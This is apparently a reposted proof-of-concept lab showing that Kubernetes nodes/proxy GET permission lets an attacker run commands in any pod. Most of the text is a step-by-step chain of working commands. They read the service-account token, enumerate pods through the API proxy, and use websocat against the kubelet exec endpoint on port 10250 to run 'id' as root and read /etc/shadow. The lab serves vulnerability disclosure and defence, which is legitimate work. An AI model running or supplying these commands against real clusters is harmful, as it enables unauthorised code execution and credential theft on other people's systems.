Не удалось прогрузить медиа
This is a minimal proof of concept. For a comprehensive analysis of this vulnerability, including root cause analysis, disclosure timeline, and detection recommendations, see the full blog post.
This lab demonstrates how nodes/proxy GET permissions allow command execution in any Pod, despite appearing to be read-only.
Enter the attacker pod
First, exec into the attacker pod. This pod has a service account with only nodes/proxy GET permissions.Код:
Code:
kubectl exec -it attacker -- sh
Check your permissions
Verify the service account only has nodes/proxy GET:Код:
Code:
kubectl auth can-i --list
You should see nodes/proxy with only the get verb - no create permission.
Set up environment variables
Inside the attacker pod, set up the token and API server:Код:
Code:
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
export APISERVER=https://kubernetes.default.svc
Extract the node name from the JWT token payload (JWT uses base64url encoding):
Код:
Code:
export NODE_NAME=$(echo "$(echo $TOKEN | cut -d. -f2)==" | tr '_-' '/+' | base64 -d 2>/dev/null | jq -r '.["kubernetes.io"].node.name')
echo $NODE_NAME
Discover Pods and Node IPs
Using only nodes/proxy GET, query the API server proxy endpoint to list all pods on a node and discover their host IPs:Код:
Code:
wget -qO- --no-check-certificate \
--header "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[] | "Node: \(.spec.nodeName) (\(.status.hostIP)), Namespace: \(.metadata.namespace), Pod: \(.metadata.name)"'
Extract just the node IP for later use:
Код:
Code:
export NODE_IP=$(wget -qO- --no-check-certificate \
--header "Authorization: Bearer $TOKEN" \
"$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[0].status.hostIP')
echo $NODE_IP
Execute commands in any Pod
Now use websocat to execute commands in the nginx pod. This works because WebSocket connections use HTTP GET for the handshake, bypassing the CREATE verb check:Код:
Code:
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
You should see output like uid=0(root) gid=0(root) groups=0(root) - proving command execution with only GET permissions.
Код:
Code:
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=cat&command=/etc/shadow"
Read the contents of /etc/shadow on the nginx host.
Why does this work?
For a full breakdown, please refer to the full disclosure.
👍81
❤️6
🔥6
😮19
🤔11
💯19
LIMB